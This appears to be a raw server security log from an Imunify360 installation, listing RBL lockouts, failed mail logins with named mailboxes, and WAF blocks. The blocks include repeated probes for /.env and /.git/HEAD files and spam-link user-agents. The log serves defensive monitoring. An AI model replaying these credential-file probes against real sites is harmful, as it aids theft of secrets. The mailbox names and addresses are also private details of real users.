Jul 25 06:03:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.170.100.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 06:03:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 06:03:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.71.53.210
country_id: 1814991
description:
2026-07-25 06:03:49 dovecot_login authenticator failed for H=([184.181.178.35]) [117.71.53.210]:50171: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 06:03:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 06:03:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.71.53.210
country_id: 1814991
description:
Jul 25 06:03:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.71.53.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=vv5su0pq&v=5irzw||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.100.253
country_id: 1269750
description:
2026-07-25 06:04:01 dovecot_login authenticator failed for H=([120.195.31.217]) [122.170.100.253]:48669: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 06:04:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 06:04:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.69.141.98
country_id: 2921044
description:
Jul 25 06:04:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.69.141.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 06:04:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=api8vogt&v=hz2ji||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.57.223.70
country_id: 1562822
description:
Jul 25 06:05:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.57.223.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.95.27.209
country_id: 1861060
description:
Jul 25 06:04:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.95.27.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:05:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=orq1lv1l&v=ixe1c||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.247.211
country_id: 1814991
description:
Jul 25 06:05:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.138.247.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 06:05:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=px0x84y9&v=wb9ae||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jul 25 06:06:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 06:06:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.158.99.112
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-07.51.158.99.112||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 06:06:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 06:07:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=nxiu46zq&v=myhg3||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 06:07:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 06:07:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.71
country_id: 130758
description:
Jul 25 06:07:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 06:08:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jul 25 06:09:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=82w6d8xw&v=o3f7s||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 06:08:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 06:09:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 06:09:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 06:09:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 06:10:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=20c089x3&v=87138&x=1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 06:10:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 06:11:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 06:11:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 06:11:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=1xja8uti&v=vnqhr||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 06:12:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.117.118
country_id: 1562822
description:
Jul 25 06:12:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.117.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-25 06:13:04 dovecot_login authenticator failed for H=([112.173.166.253]) [109.248.156.49]:49478: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=z19d0cja&v=hjf8x||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.135.223.123
country_id: 3469034
description:
2026-07-25 06:12:43 dovecot_login authenticator failed for H=([144.22.210.132]) [177.135.223.123]:54843: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.175.201.167
country_id: 3469034
description:
Jul 25 06:12:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.175.201.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 06:12:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.175.201.167
country_id: 3469034
description:
2026-07-25 06:12:16 dovecot_login authenticator failed for H=200.175.201.167.dynamic.dialup.gvt.net.br ([174.64.199.85]) [200.175.201.167]:52681: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 81.28.13.159
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-13.81.28.13.159||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.137.151.93
country_id: 1814991
description:
Jul 25 06:13:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.137.151.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.137.151.93
country_id: 1814991
description:
2026-07-25 06:13:53 dovecot_login authenticator failed for H=(91.159.61.94.rev.vodafone.pt) [180.137.151.93]:36785: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 135.125.107.224
country_id: 3017382
description:
Jul 25 06:13:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 135.125.107.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.130.76.154
country_id: 1814991
description:
Jul 25 06:13:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.130.76.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 06:13:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-25 06:14:07 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net ([61.169.54.150]) [27.124.111.122]:42546: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.124.111.122
country_id: 2077456
description:
Jul 25 06:14:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.124.111.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 06:13:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 25 06:14:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 06:15:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 161.132.42.84
country_id: 3932488
description:
Jul 25 06:14:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 161.132.42.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jul 25 06:14:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 06:16:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 06:15:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 06:15:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 06:16:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.161.12.247
country_id: 1562822
description:
Jul 25 06:16:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.161.12.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 06:16:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 06:16:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.119.50
country_id: 1814991
description:
Jul 25 06:16:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.119.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.28.253.144
country_id: 690791
description:
2026-07-25 06:17:35 dovecot_login authenticator failed for H=([121.173.245.152]) [31.28.253.144]:45904: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.198.42
country_id: 1269750
description:
Jul 25 06:17:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.198.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://acrepair2.info\">https://acrepair2.info</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jul 25 06:17:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 25 06:17:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-25 06:17:45 dovecot_login authenticator failed for H=([186.238.157.140]) [152.52.198.42]:44634: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://samedayhvacrepair1.info\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.122.115.9
country_id: 1835841
description:
2026-07-25 06:18:12 dovecot_login authenticator failed for H=(136-34-252-154.googlefiber.net) [220.122.115.9]:41000: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.28.253.144
country_id: 690791
description:
Jul 25 06:17:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.28.253.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.122.115.9
country_id: 1835841
description:
Jul 25 06:18:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.122.115.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 06:19:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.240.181
country_id: 2921044
description:
Jul 25 06:19:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.240.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 06:18:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=4vzcwof2&v=pef2d||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 06:19:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=ch54bjbo&v=wvkh7||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.38.136.211
country_id: 1814991
description:
Jul 25 06:19:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.38.136.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.38.136.211
country_id: 1814991
description:
2026-07-25 06:19:44 dovecot_login authenticator failed for H=([211.192.54.219]) [111.38.136.211]:54607: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.255.54
country_id: 1814991
description:
2026-07-25 06:19:34 dovecot_login authenticator failed for H=([98.182.171.163]) [220.179.255.54]:48825: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.179.255.54
country_id: 1814991
description:
Jul 25 06:19:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.179.255.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 06:19:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 06:19:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: ahsmarine.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=ktkcyrot&v=kmm1d||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.244.231
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-20.51.15.244.231||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 06:21:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 06:20:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 06:20:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 06:20:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 06:21:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.119
country_id: 2750405
domain: cpcalendars.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=q13qbpqc&v=latsk||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.113
country_id: 130758
description:
Jul 25 06:21:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.211.98.70
country_id: 1562822
description:
Jul 25 06:21:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.211.98.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 06:21:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 06:21:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
